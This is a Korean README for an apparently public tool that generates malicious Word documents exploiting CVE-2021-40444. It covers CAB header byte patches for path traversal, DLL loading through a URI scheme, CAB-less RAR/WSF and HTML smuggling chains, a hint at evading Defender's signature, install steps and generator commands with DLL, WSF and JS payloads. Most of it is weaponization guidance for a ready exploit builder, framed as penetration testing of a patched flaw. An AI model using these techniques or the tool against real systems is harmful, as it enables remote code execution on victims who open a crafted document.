
악성 DOCX 생성기로, CVE-2021-40444(Microsoft Office Word RCE)를 악용하며 CAB 기반 DLL 사이드로딩 및 CAB 미사용 RAR/WSF 공격 체인을 통해 침투 테스트를 지원합니다.
CVE-2021-40444(Microsoft Office Word 원격 코드 실행)를 악용하기 위한 악성 docx 생성기로, 임의의 DLL 파일과 함께 작동합니다.
인터넷에 이미 많은 PoC가 있지만, 공유할 가치가 있는 유용한 정보가 부족하다고 느꼈고, Microsoft가 이미 이 취약점에 대한 패치를 출시했다는 점을 고려하여 이 취약점을 무기화하는 작업에 도전해 보기로 했다.
지금까지 완전히 작동하는 생성기를 만들기 위해 본 유일한 유용한 자료는 다음과 같습니다:
위 자료는 전체 공격 체인을 구축하는 데 필요한 많은 요구 사항을 설명합니다. 불필요한 정보를 너무 많이 반복하지 않기 위해 관련 세부 사항만 요약하겠습니다.
이 익스플로잇이 작동하려면 상당히 많은 요구 사항이 간과되어 왔으며, 이로 인해 lockedbyte의 PoC 같은 좋은 PoC조차 제대로 작동하지 못했습니다.
아마도 취약점이 더 악용되는 것을 막기 위해 아무도 명시적으로 공개하지 않은 것 같습니다. 하지만 이제 패치되었으므로 세부 사항을 공개해도 큰 문제가 되지 않을 것입니다.
Will Dormann의 이 트윗에 따르면, MS Word 내에서 "미리 보기"를 트리거하려면 HTML 크기가 최소 4096바이트여야 합니다.
CAB 파일은 추출 오류를 방지하고 ZipSlip을 달성하기 위해 바이트 패치가 필요합니다:
filename.inf는 ../filename.inf가 되어야 함filename.inf coffCabStart를 수정하는 것CFFOLDER.typeCompress CFFOLDER.coffCabStart는 3만큼 증가해야 함('../' 추가 때문)CFFOLDER.cCfData CFFILE.cbFile은 전체 CFHEADER.cbCabinet보다 커야 함CFDATA.csum 이러한 제약 조건에는 많은 이유가 있으며, 모든 것을 깊이 이해하기에 충분한 시간을 들이지 않았지만 가장 중요한 것들을 살펴보겠습니다:
NOTE1: Defender는 이제 _IMAGE_DOS_HEADER.e_magic 값을 서명으로 사용하여 CAB 파일에 PE가 포함되어 있는지 감지하므로 PE 파일이 CAB에 포함되지 않을 수 있습니다. 이 서명을 우회할 수 있을까요? 확실하지 않지만, 앞서 관찰했듯이 이것은 패치된 취약점이므로 더 이상 시간을 투자할 계획은 없습니다. 더 발전시키는 것은 호기심 많은 독자의 몫입니다.
NOTE2: Microsoft 패치는 임의 URI 스킴을 차단하며, 분명히 블랙리스트 방식을 사용합니다(이것은 단순한 추측입니다).
CVE-2021-40444와 관련된 주요 공격 체인은 .cpl URI 스킴을 통해 로드되는 DLL 공격입니다. 이를 악용하려면 공격자는 특수하게 제작된 DLL을 생성해야 합니다. 직접 테스트해 보려면 제 evildll-gen 스크립트를 사용해 보세요.
Max Maluin이 언급했듯이 IE와 관련 파일 확장자 기반 URI를 남용하여 여러 파일 형식과 상호 작용할 수 있습니다. 이것이 IE를 악용하는 좋은 방법일 수는 있지만 한계가 있습니다.
실제로 익스플로잇에서 파일을 다운로드하는 데 사용되는 방법은 ActiveX 컨트롤 업데이트를 기반으로 하며 임의 파일을 다운로드하는 데 사용할 수 없다는 점에 유의해야 합니다.
Microsoft 문서에 따르면 codebase 태그는 OCX, INF, CAB의 몇 가지 파일 형식만 가리킬 수 있습니다.
OCX 또는 INF 파일을 직접 다운로드할 수 있더라도 시스템 내 올바른 위치에 파일을 다운로드할 수 있다고 확신할 수는 없습니다. CAB 익스플로잇을 사용하면 경로 순회를 통해 .inf 파일을 잘 알려진 경로로 이동할 수 있지만, 다른 경우에는 파일이 임의의 디렉터리에 저장되어 사실상 참조하는 것이 불가능합니다.
현재까지 CAB 파일 없이 다운로드와 실행을 연결하는 방법을 찾지 못했습니다.
참고: IE만 놓고 보면 HTML 스머글링이 이 취약점을 악용할 수 있는 시나리오가 될 수 있습니다.
이 기술은 Eduardo Braun이 Twitter에서 처음 공개했으며 이 문서에서 자세히 설명했습니다.
이 기술을 사용하면 공격 체인이 약간 다릅니다. 이 공격은 사용자가 유효한 WSF 스크립트와 유효한 RAR 파일을 연결하여 얻은 특수 제작된 RAR 파일을 다운로드해야 합니다. 열면 RAR에는 HTML에 대한 참조가 있는 DOCX가 포함되고, HTML은 다시 RAR 파일을 WSF 스크립트로 로드하려고 시도합니다.
요약하면 다음과 같습니다:
생성기 유틸리티는 현재 다음 공격을 재현할 수 있습니다:
1일부 환경에서는 CAB가 제대로 다운로드되지 않음
2사용자는 IE에서 파일을 다운로드하기 위해 "저장"을 클릭해야 함
cab_parser.py 유틸리티는 익스플로잇 파일의 헤더를 확인하는 데 사용할 수 있지만 완전한 파서로 생각하지 마세요. 내부 상황을 이해하기 위해 개발한 매우 간단하고 조잡한 CAB 헤더 뷰어입니다.
이 생성기는 makecab 유틸리티를 사용하므로 Windows에서 작동하도록 설계되었습니다. 사용 전에 필요한 종속성을 설치해야 합니다:
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install virtualenv
python -m virtualenv venv
venv\Scripts\activate.bat
pip install -r requirements
git clone https://github.com/klezVirus/CVE-2021-40444
cd CVE-2021-40444
pip install -r requirements
생성기 사용법은 간단하며 다양한 페이로드와 Windows 버전에서 테스트되었지만 완벽하지는 않습니다. Windows 빌드마다 다른 동작이 발생하고 있습니다. 공유할 세부 사항이 더 생기면 여기에 게시하겠습니다.
usage: generator.py [-h] -P PAYLOAD -u URL [-o OUTPUT] [--host] [-c COPY_TO] [-nc] [-t]
[%] CVE-2021-40444 - MS Office Word RCE Exploit [%]
optional arguments:
-h, --help show this help message and exit
-P PAYLOAD, --payload PAYLOAD
DLL payload to use for the exploit
-u URL, --url URL Server URL for malicious references (CAB->INF)
-o OUTPUT, --output OUTPUT
Output files basename (no extension)
--host If set, will host the payload after creation
-c COPY_TO, --copy-to COPY_TO
Copy payload to an alternate path
-nc, --no-cab Use the CAB-less version of the exploit
-t, --test Open IExplorer to test the final HTML file
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
참고: 포트는 URL에 의해 선택되며 익스플로잇은 페이로드 파일 확장자에 따라 생성됩니다.
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
| Attack | HTML Templates | Target | Delivery Method | Execution Method | Working |
|---|
| 공격의 원본 버전 | cab-orig-* | WORD | DOCX | CAB + DLL | YES |
| j00sean IE 전용 공격 | cab-orig-j00san | IE | HTML | CAB + DLL | YES |
| DLL 없는 내 버전 | cab-uri-* | WORD | DOCX | CAB + JS/VBS | NO1 |
| RAR을 사용한 Eduardo B. "CABless" 공격 | cabless-rar-* | WORD | RAR | WSF | YES |
| 수정된 j00sean 공격 + HTML 스머글링 | cabless-smuggling-* | IE | HTML | JS/VBS | YES2 |